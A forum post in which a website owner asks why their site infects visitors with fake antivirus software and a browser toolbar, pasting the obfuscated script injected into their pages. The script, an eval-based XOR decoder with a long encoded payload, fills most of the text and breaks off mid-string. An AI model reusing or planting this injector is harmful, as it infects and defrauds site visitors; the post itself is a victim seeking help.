• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

С нашего сайта грузится вирус

  • Автор темы Guest
  • Дата начала
G

Guest

При разработке сайта мы использовали технологии HTML, CSS и были написаны два небольших скрипта на JavaScript по 5 строчек длиной 100% не являющиеся вредоносными и выполняющие небольшие нужные нам действия.
Недавно, правда, на все страницы был установлен счетчик LiveInternet.
Однако при посещении нашего сайта на компьютеры посетителей устанавливается вирус "Antivirus 2008 xp", а в Internet Explorer внеджряется надстройка - порно-информер, отображаемая каждый раз при запуске обозревателя.
При чем вирус заражает компьютеры только при посещении некоторой части страниц сайта (а не всех) изучая HTML-код наших страниц обратил внимания, что в этих страницах после тэга BODY появляется странный скрипт:

Код:
<span id='ffe03313142ab0d86aaec8601165fa9947'><script type="text/javascript">var jj=window["e"+String.fromCharCode(118)+String.fromCharCode(97)+String.fromCharCode(108)]("e"+String.fromCharCode(118)+String.fromCharCode(97)+String.fromCharCode(108)); jj('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x79\x59\x33\x28\x78\x34\x78\x4f\x59\x29\x7b\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x7a\x34\x54\x71\x4b\x62\x38\x28\x6d\x53\x6f\x49\x6d\x29\x7b\x76\x61\x72\x20\x6c\x5a\x56\x35\x58\x3d\x30\x3b\x76\x61\x72\x20\x7a\x35\x73\x30\x6f\x3d\x6d\x53\x6f\x49\x6d\x2e\x6c\x65\x6e\x67\x74\x68\x2c\x20\x66\x51\x6f\x42\x32\x3d\x30\x3b\x77\x68\x69\x6c\x65\x28\x66\x51\x6f\x42\x32\x3c\x7a\x35\x73\x30\x6f\x29\x7b\x6c\x5a\x56\x35\x58\x2b\x3d\x64\x64\x50\x39\x28\x6d\x53\x6f\x49\x6d\x2c\x66\x51\x6f\x42\x32\x29\x2a\x7a\x35\x73\x30\x6f\x3b\x66\x51\x6f\x42\x32\x2b\x2b\x3b\x7d\x72\x65\x74\x75\x72\x6e\x20\x28\x6c\x5a\x56\x35\x58\x2b\x27\x27\x29\x3b\x7d\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x64\x64\x50\x39\x28\x70\x51\x32\x66\x58\x46\x2c\x77\x77\x49\x29\x7b\x72\x65\x74\x75\x72\x6e\x20\x70\x51\x32\x66\x58\x46\x2e\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74\x28\x77\x77\x49\x29\x3b\x7d\x20\x20\x20\x74\x72\x79\x20\x7b\x76\x61\x72\x20\x62\x65\x49\x6f\x4e\x63\x41\x3d\x65\x76\x61\x6c\x28\x27\x61\x4e\x72\x6f\x67\x4e\x75\x51\x6d\x4b\x65\x51\x6e\x4f\x74\x4e\x73\x4f\x2e\x4b\x63\x6f\x61\x4f\x6c\x4f\x6c\x4b\x65\x4f\x65\x51\x27\x2e\x72\x65\x70\x6c\x61\x63\x65\x28\x2f\x5b\x6f\x4f\x51\x4b\x4e\x5d\x2f\x67\x2c\x20\x27\x27\x29\x29\x2c\x6d\x46\x74\x68\x78\x3d\x27\x27\x2c\x76\x57\x47\x6a\x67\x4b\x3d\x30\x2c\x6b\x4c\x62\x3d\x30\x3b\x76\x61\x72\x20\x6a\x54\x37\x4c\x3d\x28\x6e\x65\x77\x20\x53\x74\x72\x69\x6e\x67\x28\x62\x65\x49\x6f\x4e\x63\x41\x29\x29\x2e\x72\x65\x70\x6c\x61\x63\x65\x28\x2f\x5b\x5e\x40\x61\x2d\x7a\x30\x2d\x39\x41\x2d\x5a\x5f\x2e\x2c\x2d\x5d\x2f\x67\x2c\x27\x27\x29\x3b\x76\x61\x72\x20\x6b\x4c\x43\x3d\x7a\x34\x54\x71\x4b\x62\x38\x28\x6a\x54\x37\x4c\x29\x3b\x78\x34\x78\x4f\x59\x3d\x75\x6e\x65\x73\x63\x61\x70\x65\x28\x78\x34\x78\x4f\x59\x29\x3b\x66\x6f\x72\x28\x76\x61\x72\x20\x69\x64\x6d\x38\x31\x3d\x30\x3b\x20\x69\x64\x6d\x38\x31\x20\x3c\x20\x28\x78\x34\x78\x4f\x59\x2e\x6c\x65\x6e\x67\x74\x68\x29\x3b\x20\x69\x64\x6d\x38\x31\x2b\x2b\x29\x7b\x76\x61\x72\x20\x70\x46\x47\x37\x6e\x76\x3d\x64\x64\x50\x39\x28\x6a\x54\x37\x4c\x2c\x76\x57\x47\x6a\x67\x4b\x29\x5e\x64\x64\x50\x39\x28\x6b\x4c\x43\x2c\x6b\x4c\x62\x29\x3b\x76\x61\x72\x20\x64\x34\x54\x48\x67\x3d\x64\x64\x50\x39\x28\x78\x34\x78\x4f\x59\x2c\x69\x64\x6d\x38\x31\x29\x3b\x76\x57\x47\x6a\x67\x4b\x2b\x2b\x2c\x6b\x4c\x62\x2b\x2b\x3b\x6d\x46\x74\x68\x78\x2b\x3d\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x64\x34\x54\x48\x67\x5e\x70\x46\x47\x37\x6e\x76\x29\x3b\x69\x66\x28\x6b\x4c\x62\x3e\x6b\x4c\x43\x2e\x6c\x65\x6e\x67\x74\x68\x29\x6b\x4c\x62\x3d\x30\x3b\x69\x66\x28\x76\x57\x47\x6a\x67\x4b\x3e\x6a\x54\x37\x4c\x2e\x6c\x65\x6e\x67\x74\x68\x29\x76\x57\x47\x6a\x67\x4b\x3d\x30\x3b\x7d\x65\x76\x61\x6c\x28\x6d\x46\x74\x68\x78\x29\x3b\x20\x72\x65\x74\x75\x72\x6e\x20\x6d\x46\x74\x68\x78\x3d\x6e\x65\x77\x20\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x7d\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x7d\x79\x59\x33\x28\x27\x25\x33\x32\x25\x33\x38\x25\x33\x38\x25\x33\x30\x25\x33\x31\x25\x33\x37\x25\x33\x32\x25\x33\x38\x25\x35\x39\x25\x32\x31\x25\x37\x65\x25\x31\x32\x25\x36\x36\x25\x36\x31\x25\x35\x31\x25\x31\x30\x25\x32\x33\x25\x34\x65\x25\x31\x36\x25\x32\x65\x25\x31\x65\x25\x33\x62\x25\x37\x30\x25\x32\x39\x25\x33\x61\x25\x36\x33\x25\x32\x30\x25\x32\x63\x25\x30\x37\x25\x32\x33\x25\x37\x38\x25\x33\x39\x25\x34\x34\x25\x36\x30\x25\x35\x31\x25\x31\x36\x25\x32\x37\x25\x33\x36\x25\x32\x35\x25\x33\x37\x25\x30\x32\x25\x30\x34\x25\x35\x31\x25\x30\x31\x25\x35\x63\x25\x33\x31\x25\x33\x63\x25\x37\x30\x25\x37\x62\x25\x32\x38\x25\x32\x37\x25\x36\x64\x25\x33\x38\x25\x30\x36\x25\x30\x38\x25\x33\x32\x25\x33\x66\x25\x33\x63\x25\x37\x32\x25\x33\x65\x25\x36\x64\x25\x37\x31\x25\x30\x30\x25\x32\x32\x25\x33\x33\x25\x37\x31\x25\x33\x37\x25\x30\x38\x25\x33\x61\x25\x31\x36\x25\x32\x64\x25\x31\x63\x25\x32\x32\x25\x33\x35\x25\x32\x35\x25\x30\x65\x25\x33\x35\x25\x33\x66\x25\x30\x37\x25\x30\x34\x25\x33\x36\x25\x37\x32\x25\x32\x62\x25\x36\x33\x25\x32\x34\x25\x32\x31\x25\x36\x32\x25\x37\x65\x25\x30\x34\x25\x32\x33\x25\x36\x39\x25\x30\x33\x25\x32\x38\x25\x33\x64\x25\x30\x65\x25\x36\x30\x25\x37\x37\x25\x34\x32\x25\x31\x34\x25\x30\x64\x25\x33\x34\x25\x36\x36\x25\x37\x36\x25\x30\x63\x25\x36\x35\x25\x34\x31\x25\x33\x63\x25\x35\x36\x25\x36\x34\x25\x37\x36\x25\x32\x66\x25\x36\x66\x25\x31\x32\x25\x35\x37\x25\x31\x38\x25\x34\x38\x25\x37\x62\x25\x37\x33\x25\x37\x38\x25\x37\x38\x25\x36\x33\x25\x37\x36\x25\x31\x36\x25\x36\x38\x25\x32\x37\x25\x36\x31\x25\x34\x32\x25\x35\x38\x25\x37\x62\x25\x37\x63\x25\x31\x61\x25\x33\x35\x25\x30\x66\x25\x33\x33\x25\x32\x36\x25\x33\x66\x25\x31\x39\x25\x33\x38\x25\x34\x35\x25\x36\x64\x25\x30\x32\x25\x30\x35\x25\x32\x66\x25\x34\x31\x25\x34\x34\x25\x30\x63\x25\x37\x31\x25\x33\x37\x25\x32\x61\x25\x31\x66\x25\x32\x33\x25\x33\x38\x25\x35\x63\x25\x36\x38\x25\x31\x31\x25\x31\x39\x25\x30\x35\x25\x34\x35\x25\x34\x63\x25\x37\x32\x25\x33\x64\x25\x36\x39\x25\x37\x62\x25\x37\x37\x25\x37\x30\x25\x37\x36\x25\x36\x34\x25\x35\x64\x25\x37\x31\x25\x33\x33\x25\x35\x38\x25\x35\x34\x25\x36\x62\x25\x37\x34\x25\x32\x31\x25\x31\x37\x25\x33\x31\x25\x36\x38\x25\x33\x37\x25\x31\x37\x25\x32\x31\x25\x36\x61\x25\x33\x33\x25\x36\x38\x25\x34\x38\x25\x36\x33\x25\x31\x35\x25\x36\x37\x25\x32\x64\x25\x36\x63\x25\x32\x37\x25\x37\x32\x25\x37\x37\x25\x37\x39\x25\x31\x36\x25\x36\x62\x25\x36\x61\x25\x30\x34\x25\x35\x32\x25\x33\x65\x25\x31\x63\x25\x33\x66\x25\x30\x39\x25\x32\x36\x25\x31\x31\x25\x37\x65\x25\x30\x32\x25\x32\x37\x25\x30\x32\x25\x32\x33\x25\x35\x31\x25\x37\x39\x25\x31\x30\x25\x33\x65\x25\x33\x38\x25\x31\x33\x25\x35\x35\x25\x31\x39\x25\x31\x36\x25\x32\x38\x25\x31\x32\x25\x37\x63\x25\x30\x66\x25\x33\x63\x25\x33\x66\x25\x37\x38\x25\x32\x35\x25\x33\x30\x25\x36\x38\x25\x37\x34\x25\x37\x63\x25\x33\x32\x25\x37\x33\x25\x30\x33\x25\x31\x38\x25\x30\x37\x25\x31\x34\x25\x30\x61\x25\x33\x65\x25\x33\x32\x25\x33\x32\x25\x36\x34\x25\x36\x61\x25\x37\x37\x25\x37\x39\x25\x37\x62\x25\x36\x65\x25\x32\x32\x25\x31\x34\x25\x30\x30\x25\x32\x30\x25\x30\x39\x25\x35\x39\x25\x36\x37\x25\x32\x66\x25\x32\x36\x25\x35\x31\x25\x32\x35\x25\x36\x33\x25\x33\x61\x25\x30\x39\x25\x37\x61\x25\x30\x31\x25\x31\x38\x25\x37\x35\x25\x31\x34\x25\x33\x37\x25\x33\x30\x25\x36\x31\x25\x33\x35\x25\x33\x34\x25\x32\x35\x25\x33\x63\x25\x31\x64\x25\x33\x65\x25\x33\x34\x25\x32\x35\x25\x33\x32\x25\x30\x30\x25\x31\x38\x25\x33\x65\x25\x35\x31\x25\x32\x66\x25\x37\x33\x25\x36\x30\x25\x36\x62\x25\x37\x66\x25\x30\x66\x25\x33\x34\x25\x32\x61\x25\x35\x38\x25\x30\x32\x25\x36\x38\x25\x33\x66\x25\x36\x62\x25\x37\x62\x25\x35\x65\x25\x35\x62\x25\x33\x37\x25\x31\x33\x25\x34\x64\x25\x33\x36\x25\x33\x30\x25\x37\x31\x25\x33\x61\x25\x35\x62\x25\x36\x34\x25\x30\x61\x25\x33\x65\x25\x32\x39\x25\x31\x34\x25\x31\x61\x25\x32\x66\x25\x32\x34\x25\x37\x36\x25\x33\x34\x25\x35\x31\x25\x37\x33\x25\x32\x33\x25\x37\x39\x25\x30\x36\x25\x32\x37\x25\x35\x66\x25\x32\x62\x25\x37\x32\x25\x33\x32\x25\x31\x65\x25\x30\x37\x25\x32\x33\x25\x37\x37\x25\x33\x31\x25\x33\x39\x25\x30\x63\x25\x33\x65\x25\x30\x62\x25\x33\x35\x25\x32\x39\x25\x37\x37\x25\x30\x63\x25\x31\x32\x25\x30\x35\x25\x30\x33\x25\x37\x35\x25\x37\x62\x25\x37\x66\x25\x36\x35\x25\x36\x61\x25\x37\x35\x25\x30\x35\x25\x32\x31\x25\x34\x61\x25\x36\x61\x25\x36\x36\x25\x33\x36\x25\x37\x61\x25\x33\x61\x25\x37\x64\x25\x36\x63\x25\x32\x64\x25\x37\x37\x25\x32\x32\x25\x31\x36\x25\x31\x33\x25\x35\x64\x25\x33\x32\x25\x33\x36\x25\x33\x39\x25\x37\x37\x25\x34\x35\x25\x36\x38\x25\x36\x33\x25\x37\x35\x25\x37\x36\x25\x36\x37\x25\x36\x33\x25\x33\x33\x25\x37\x39\x25\x32\x31\x25\x33\x36\x25\x30\x63\x25\x31\x36\x25\x36\x39\x25\x33\x38\x25\x36\x39\x25\x37\x34\x25\x37\x32\x25\x37\x32\x25\x32\x32\x25\x37\x39\x25\x33\x66\x25\x37\x33\x25\x30\x66\x25\x37\x32\x25\x32\x61\x25\x30\x38\x25\x36\x39\x25\x33\x65\x25\x32\x64\x25\x31\x63\x25\x33\x39\x25\x31\x36\x25\x30\x66\x25\x36\x61\x25\x32\x31\x25\x30\x66\x25\x31\x65\x25\x37\x30\x25\x33\x36\x25\x35\x34\x25\x36\x61\x25\x37\x38\x25\x37\x61\x25\x36\x31\x25\x33\x37\x25\x37\x32\x25\x31\x65\x25\x31\x39\x25\x33\x39\x25\x33\x32\x25\x37\x64\x25\x30\x34\x25\x37\x33\x25\x31\x37\x25\x36\x62\x25\x30\x33\x25\x31\x66\x25\x30\x38\x25\x36\x66\x25\x31\x64\x25\x33\x39\x25\x33\x31\x25\x35\x64\x25\x32\x62\x25\x37\x66\x25\x35\x65\x25\x34\x37\x25\x37\x32\x25\x37\x63\x25\x31\x38\x25\x37\x38\x25\x31\x39\x25\x31\x62\x25\x33\x62\x25\x33\x31\x25\x30\x66\x25\x30\x63\x25\x33\x31\x25\x33\x39\x25\x31\x66\x25\x31\x35\x25\x32\x63\x25\x33\x64\x25\x33\x33\x25\x33\x33\x25\x33\x66\x25\x36\x62\x25\x36\x30\x25\x33\x31\x25\x31\x38\x25\x31\x66\x25\x33\x33\x25\x32\x64\x25\x32\x62\x25\x31\x64\x25\x33\x36\x25\x37\x65\x25\x37\x34\x25\x31\x66\x25\x37\x34\x25\x30\x39\x25\x30\x34\x25\x32\x32\x25\x33\x33\x25\x31\x66\x25\x35\x35\x25\x32\x65\x25\x34\x36\x25\x32\x30\x25\x33\x65\x25\x33\x64\x25\x32\x65\x25\x31\x30\x25\x33\x30\x25\x33\x37\x25\x30\x30\x25\x36\x64\x25\x37\x66\x25\x33\x62\x25\x33\x32\x25\x33\x35\x25\x33\x66\x25\x32\x36\x25\x37\x34\x25\x33\x61\x25\x32\x32\x25\x33\x34\x25\x36\x64\x25\x32\x39\x25\x31\x39\x25\x32\x31\x25\x34\x38\x25\x30\x31\x25\x33\x61\x25\x30\x65\x25\x30\x61\x25\x37\x63\x25\x30\x66\x25\x36\x38\x25\x31\x32\x25\x37\x32\x25\x33\x37\x25\x33\x38\x25\x32\x30\x25\x33\x34\x25\x32\x31\x25\x33\x35\x25\x36\x36\x25\x34\x64\x25\x35\x30\x25\x37\x66\x25\x36\x32\x25\x36\x63\x25\x32\x32\x25\x37\x36\x25\x36\x65\x25\x32\x35\x25\x33\x35\x25\x33\x33\x25\x30\x37\x25\x36\x32\x25\x30\x62\x25\x32\x35\x25\x32\x35\x25\x33\x36\x25\x32\x64\x25\x32\x31\x25\x31\x33\x25\x33\x64\x25\x33\x39\x25\x33\x33\x25\x32\x33\x25\x37\x39\x25\x36\x30\x25\x36\x33\x25\x36\x39\x25\x36\x30\x25\x34\x63\x25\x37\x64\x25\x35\x62\x25\x36\x30\x25\x32\x62\x25\x37\x33\x25\x33\x61\x25\x33\x65\x25\x33\x30\x25\x32\x35\x25\x33\x31\x25\x30\x39\x25\x35\x65\x25\x37\x65\x25\x37\x37\x25\x37\x65\x25\x33\x34\x25\x33\x36\x25\x33\x35\x25\x33\x34\x25\x31\x61\x25\x32\x32\x25\x30\x65\x25\x36\x35\x25\x36\x30\x25\x32\x63\x25\x33\x34\x25\x31\x34\x25\x30\x37\x25\x34\x65\x25\x36\x36\x25\x32\x32\x25\x33\x33\x25\x32\x64\x25\x32\x62\x25\x37\x36\x25\x33\x64\x25\x32\x65\x25\x34\x36\x25\x30\x33\x25\x32\x38\x25\x31\x37\x25\x32\x62\x25\x34\x30\x25\x33\x34\x25\x31\x32\x25\x32\x33\x25\x32\x38\x25\x33\x33\x25\x32\x32\x25\x33\x63\x25\x32\x36\x25\x37\x35\x25\x34\x34\x25\x34\x64\x25\x37\x36\x25\x32\x65\x25\x36\x33\x25\x33\x63\x25\x37\x39\x25\x33\x31\x25\x37\x36\x25\x32\x30\x25\x37\x64\x25\x34\x38\x25\x30\x62\x25\x31\x64\x25\x30\x32\x25\x31\x30\x25\x30\x66\x25\x37\x34\x25\x33\x39\x25\x30\x63\x25\x32\x65\x25\x32\x39\x25\x32\x31\x25\x31\x65\x25\x32\x39\x25\x35\x65\x25\x33\x62\x25\x32\x31\x25\x33\x38\x25\x33\x64\x25\x30\x66\x25\x34\x30\x25\x31\x33\x25\x37\x37\x25\x37\x31\x25\x33\x39\x25\x30\x30\x25\x33\x64\x25\x32\x65\x25\x31\x63\x25\x33\x30\x25\x37\x61\x25\x36\x61\x25\x36\x39\x25\x36\x61\x25\x36\x36\x25\x31\x64\x25\x32\x64\x25\x30\x38\x25\x35\x65\x25\x34\x66\x25\x30\x65\x25\x31\x36\x25\x33\x61\x25\x33\x35\x25\x36\x35\x25\x31\x35\x25\x33\x36\x25\x37\x35\x25\x32\x64\x25\x37\x32\x25\x34\x65\x25\x36\x39\x25\x33\x34\x25\x36\x31\x25\x33\x61\x25\x35\x62\x25\x36\x30\x25\x36\x62\x25\x30\x63\x25\x37\x32\x25\x30\x63\x25\x33\x30\x25\x32\x34\x25\x33\x61\x25\x30\x30\x25\x36\x35\x25\x30\x38\x25\x37\x64\x25\x30\x34\x25\x33\x37\x25\x31\x37\x25\x32\x65\x25\x30\x36\x25\x33\x39\x25\x32\x34\x25\x33\x30\x25\x33\x32\x25\x30\x61\x25\x36\x33\x25\x30\x62\x25\x37\x33\x25\x36\x32\x25\x31\x62\x25\x33\x38\x25\x32\x36\x25\x33\x30\x25\x33\x35\x25\x30\x32\x25\x36\x62\x25\x36\x61\x25\x34\x36\x25\x36\x39\x25\x31\x33\x25\x33\x63\x25\x35\x36\x25\x35\x65\x25\x30\x36\x25\x31\x32\x25\x32\x36\x25\x36\x35\x25\x30\x32\x25\x36\x61\x25\x36\x64\x25\x36\x64\x25\x37\x39\x25\x36\x38\x25\x34\x64\x25\x37\x34\x25\x33\x36\x25\x33\x31\x25\x30\x37\x25\x33\x38\x25\x33\x63\x25\x33\x64\x25\x32\x34\x25\x30\x33\x25\x30\x33\x25\x33\x36\x25\x30\x39\x25\x33\x32\x25\x32\x63\x25\x31\x65\x25\x30\x62\x25\x36\x65\x25\x35\x37\x25\x36\x64\x25\x36\x38\x25\x32\x35\x25\x36\x33\x25\x31\x63\x25\x37\x34\x25\x37\x38\x25\x36\x38\x25\x34\x62\x25\x37\x32\x25\x34\x33\x25\x30\x61\x25\x34\x36\x25\x33\x62\x25\x37\x62\x25\x32\x33\x25\x37\x37\x25\x33\x37\x25\x31\x66\x25\x32\x37\x25\x32\x61\x25\x33\x30\x25\x35\x63\x25\x37\x33\x25\x35\x36\x25\x36\x30\x25\x34\x62\x25\x37\x38\x25\x32\x63\x25\x30\x61\x25\x34\x38\x25\x32\x35\x25\x34\x31\x25\x33\x35\x25\x35\x34\x25\x32\x37\x25\x31\x61\x25\x37\x39\x25\x34\x31\x25\x32\x31\x25\x31\x32\x25\x32\x34\x25\x31\x33\x25\x33\x63\x25\x31\x66\x25\x33\x32\x25\x35\x66\x25\x34\x61\x25\x33\x38\x25\x32\x33\x25\x30\x66\x25\x30\x39\x25\x36\x62\x25\x36\x63\x25\x33\x30\x25\x30\x36\x25\x34\x61\x25\x33\x61\x25\x35\x62\x25\x34\x39\x25\x35\x63\x25\x35\x38\x25\x37\x39\x25\x32\x35\x25\x36\x30\x25\x31\x66\x25\x30\x64\x25\x36\x63\x25\x32\x62\x25\x33\x65\x25\x37\x63\x25\x33\x33\x25\x34\x35\x25\x31\x30\x25\x35\x37\x25\x33\x31\x25\x31\x63\x25\x36\x62\x25\x36\x39\x25\x33\x37\x25\x31\x65\x25\x33\x65\x25\x37\x63\x25\x34\x64\x25\x33\x63\x25\x36\x34\x25\x33\x64\x25\x31\x34\x25\x36\x33\x25\x31\x35\x25\x37\x34\x25\x37\x34\x25\x34\x63\x25\x30\x65\x25\x36\x32\x25\x33\x64\x25\x32\x62\x25\x33\x36\x25\x32\x34\x25\x33\x35\x25\x37\x35\x25\x33\x61\x25\x37\x34\x25\x34\x64\x25\x33\x34\x25\x35\x66\x25\x37\x63\x25\x32\x39\x25\x33\x38\x25\x33\x62\x25\x30\x39\x25\x37\x62\x25\x37\x32\x25\x36\x36\x25\x30\x64\x25\x33\x33\x25\x37\x62\x25\x33\x63\x25\x36\x62\x25\x34\x35\x25\x32\x33\x25\x31\x63\x25\x33\x63\x25\x31\x31\x25\x30\x61\x25\x37\x36\x25\x37\x64\x25\x36\x30\x25\x30\x61\x25\x37\x62\x25\x32\x30\x25\x32\x64\x25\x36\x63\x25\x32\x64\x25\x30\x39\x25\x31\x38\x25\x33\x36\x25\x35\x31\x25\x34\x65\x25\x36\x65\x25\x34\x66\x25\x33\x35\x25\x36\x31\x25\x33\x61\x25\x31\x32\x25\x37\x34\x25\x32\x31\x25\x30\x39\x25\x36\x30\x25\x31\x38\x25\x34\x31\x25\x30\x66\x25\x37\x65\x25\x30\x34\x25\x33\x66\x25\x30\x38\x25\x33\x65\x25\x33\x65\x25\x32\x63\x25\x32\x65\x25\x33\x30\x25\x33\x33\x25\x37\x34\x25\x33\x34\x25\x37\x65\x25\x37\x61\x25\x32\x35\x25\x32\x66\x25\x33\x36\x25\x33\x63\x25\x32\x34\x25\x33\x38\x25\x33\x39\x25\x34\x35\x25\x32\x35\x25\x35\x32\x25\x33\x38\x25\x33\x65\x25\x31\x36\x25\x30\x36\x25\x37\x31\x25\x35\x31\x25\x32\x35\x25\x32\x39\x25\x32\x37\x25\x35\x62\x25\x34\x39\x25\x33\x38\x25\x37\x63\x25\x37\x65\x25\x37\x64\x25\x31\x34\x25\x36\x64\x25\x37\x37\x25\x36\x64\x25\x37\x64\x25\x37\x33\x25\x33\x38\x25\x36\x31\x25\x32\x30\x25\x30\x65\x25\x31\x38\x25\x32\x63\x25\x34\x39\x25\x30\x65\x25\x33\x31\x25\x36\x37\x25\x37\x33\x25\x36\x30\x25\x30\x61\x25\x34\x64\x25\x35\x39\x25\x33\x61\x25\x35\x33\x25\x37\x32\x25\x35\x32\x25\x37\x33\x25\x33\x36\x25\x33\x62\x25\x31\x62\x25\x36\x63\x25\x33\x31\x25\x35\x63\x25\x37\x62\x25\x32\x31\x25\x30\x37\x25\x37\x31\x25\x30\x37\x25\x31\x66\x25\x31\x38\x25\x37\x31\x25\x37\x33\x25\x35\x32\x25\x30\x65\x25\x37\x33\x25\x33\x37\x25\x30\x61\x25\x30\x61\x25\x32\x35\x25\x33\x34\x25\x32\x35\x25\x37\x39\x25\x33\x34\x25\x37\x61\x25\x34\x38\x25\x31\x65\x25\x36\x64\x25\x32\x35\x25\x36\x39\x25\x30\x32\x25\x31\x63\x25\x37\x33\x25\x33\x32\x25\x32\x66\x25\x34\x33\x25\x37\x39\x25\x36\x63\x25\x33\x61\x25\x32\x34\x25\x31\x39\x25\x33\x32\x25\x33\x65\x25\x31\x61\x25\x34\x39\x25\x37\x31\x25\x30\x30\x25\x33\x32\x25\x33\x34\x25\x30\x34\x25\x36\x64\x25\x33\x39\x25\x32\x66\x25\x33\x63\x25\x32\x64\x25\x32\x33\x25\x33\x34\x25\x31\x30\x25\x33\x37\x25\x37\x34\x25\x33\x31\x25\x36\x36\x25\x34\x66\x25\x32\x62\x25\x31\x33\x25\x33\x39\x25\x32\x32\x25\x36\x64\x25\x31\x37\x25\x33\x32\x25\x33\x33\x25\x30\x65\x25\x33\x66\x25\x36\x39\x25\x33\x61\x25\x31\x39\x25\x33\x61\x25\x33\x32\x25\x31\x31\x25\x35\x36\x25\x30\x63\x25\x32\x31\x25\x33\x33\x25\x37\x64\x25\x33\x31\x25\x33\x66\x25\x30\x66\x25\x31\x36\x25\x32\x31\x25\x32\x64\x25\x31\x63\x25\x37\x33\x25\x30\x31\x25\x30\x37\x25\x31\x33\x25\x37\x30\x25\x37\x63\x25\x37\x30\x25\x30\x64\x25\x30\x62\x25\x33\x34\x25\x36\x62\x25\x32\x64\x25\x33\x65\x25\x32\x65\x25\x30\x62\x25\x35\x37\x25\x34\x33\x25\x32\x65\x25\x30\x35\x25\x33\x33\x25\x31\x36\x25\x32\x36\x25\x31\x66\x25\x37\x30\x25\x33\x63\x25\x35\x38\x25\x33\x38\x25\x33\x30\x25\x32\x66\x25\x32\x64\x25\x32\x61\x25\x30\x35\x25\x31\x62\x25\x32\x36\x25\x34\x39\x25\x31\x35\x25\x36\x37\x25\x33\x65\x25\x32\x37\x25\x32\x34\x25\x33\x32\x25\x33\x30\x25\x31\x30\x25\x35\x61\x25\x33\x32\x25\x32\x66\x25\x33\x39\x25\x32\x31\x25\x37\x65\x25\x36\x32\x25\x33\x32\x25\x33\x33\x25\x31\x39\x25\x30\x31\x25\x33\x65\x25\x33\x65\x25\x36\x38\x25\x37\x64\x25\x33\x61\x25\x33\x31\x25\x31\x66\x25\x30\x34\x25\x36\x32\x25\x37\x61\x25\x37\x31\x25\x36\x64\x25\x37\x64\x25\x37\x39\x25\x36\x31\x25\x37\x30\x25\x34\x30\x25\x37\x66\x25\x35\x63\x25\x33\x32\x25\x32\x64\x25\x37\x66\x25\x36\x39\x25\x37\x62\x25\x37\x31\x25\x34\x38\x25\x37\x62\x25\x36\x31\x25\x31\x64\x25\x37\x66\x25\x36\x39\x25\x36\x37\x25\x32\x36\x25\x31\x66\x25\x37\x39\x25\x36\x39\x25\x37\x30\x25\x37\x36\x25\x37\x34\x25\x33\x30\x25\x33\x30\x25\x33\x39\x25\x33\x33\x25\x31\x63\x25\x36\x66\x25\x30\x32\x25\x32\x63\x25\x31\x66\x25\x37\x34\x25\x32\x36\x25\x37\x66\x25\x35\x34\x25\x34\x66\x25\x30\x66\x25\x33\x64\x25\x32\x37\x25\x32\x32\x25\x36\x64\x25\x33\x63\x25\x30\x64\x25\x31\x61\x25\x36\x37\x25\x30\x62\x25\x36\x36\x25\x32\x61\x25\x30\x32\x25\x33\x37\x25\x33\x66\x25\x36\x65\x25\x32\x35\x25\x35\x37\x25\x37\x35\x25\x37\x63\x25\x34\x62\x25\x36\x35\x25\x35\x38\x25\x37\x64\x25\x33\x62\x25\x37\x64\x25\x34\x35\x25\x37\x37\x25\x37\x66\x25\x32\x38\x25\x33\x34\x25\x37\x35\x25\x37\x66\x25\x31\x31\x25\x33\x32\x25\x33\x32\x25\x36\x63\x25\x36\x39\x25\x32\x63\x25\x33\x64\x25\x37\x38\x25\x37\x33\x25\x37\x38\x25\x30\x35\x25\x30\x66\x25\x33\x63\x25\x35\x37\x25\x37\x30\x25\x37\x61\x25\x32\x39\x25\x37\x64\x25\x32\x63\x25\x37\x61\x25\x33\x31\x25\x34\x37\x25\x34\x32\x25\x32\x61\x25\x34\x36\x25\x37\x32\x25\x37\x61\x25\x34\x63\x25\x37\x33\x25\x30\x38\x25\x31\x31\x25\x33\x62\x25\x31\x30\x25\x33\x65\x25\x37\x38\x25\x37\x31\x25\x34\x62\x25\x37\x38\x25\x31\x65\x25\x32\x65\x25\x36\x39\x25\x32\x32\x25\x36\x66\x25\x32\x36\x25\x37\x36\x25\x37\x33\x25\x34\x30\x25\x34\x66\x25\x35\x30\x25\x32\x31\x25\x36\x61\x25\x37\x37\x25\x36\x62\x25\x36\x30\x25\x36\x30\x25\x37\x64\x25\x34\x63\x25\x31\x63\x25\x30\x36\x25\x36\x34\x25\x31\x62\x25\x37\x39\x25\x32\x35\x25\x33\x39\x25\x32\x66\x25\x32\x36\x25\x33\x61\x25\x33\x39\x25\x33\x32\x25\x30\x37\x25\x32\x31\x25\x31\x35\x25\x36\x32\x25\x32\x36\x25\x33\x36\x25\x32\x38\x25\x37\x37\x25\x34\x30\x25\x35\x64\x25\x33\x64\x25\x36\x32\x25\x36\x62\x25\x35\x33\x25\x35\x32\x25\x37\x63\x25\x36\x63\x25\x33\x39\x25\x32\x61\x25\x33\x36\x25\x33\x34\x25\x34\x64\x25\x37\x61\x25\x30\x37\x25\x31\x65\x25\x31\x36\x25\x33\x36\x25\x37\x38\x25\x37\x39\x25\x32\x32\x25\x32\x38\x25\x31\x32\x25\x31\x63\x25\x37\x38\x25\x33\x35\x25\x31\x36\x25\x33\x37\x25\x33\x32\x25\x37\x62\x25\x30\x36\x25\x36\x30\x25\x30\x31\x25\x32\x65\x25\x33\x61\x25\x31\x61\x25\x32\x64\x25\x33\x63\x25\x33\x39\x25\x31\x32\x25\x33\x32\x25\x36\x65\x25\x36\x62\x25\x35\x39\x25\x33\x62\x25\x33\x33\x25\x33\x65\x25\x33\x38\x25\x32\x37\x25\x31\x66\x25\x31\x64\x25\x33\x33\x25\x37\x37\x25\x31\x38\x25\x32\x34\x25\x30\x64\x25\x33\x66\x25\x35\x35\x25\x37\x64\x25\x32\x37\x25\x33\x64\x25\x31\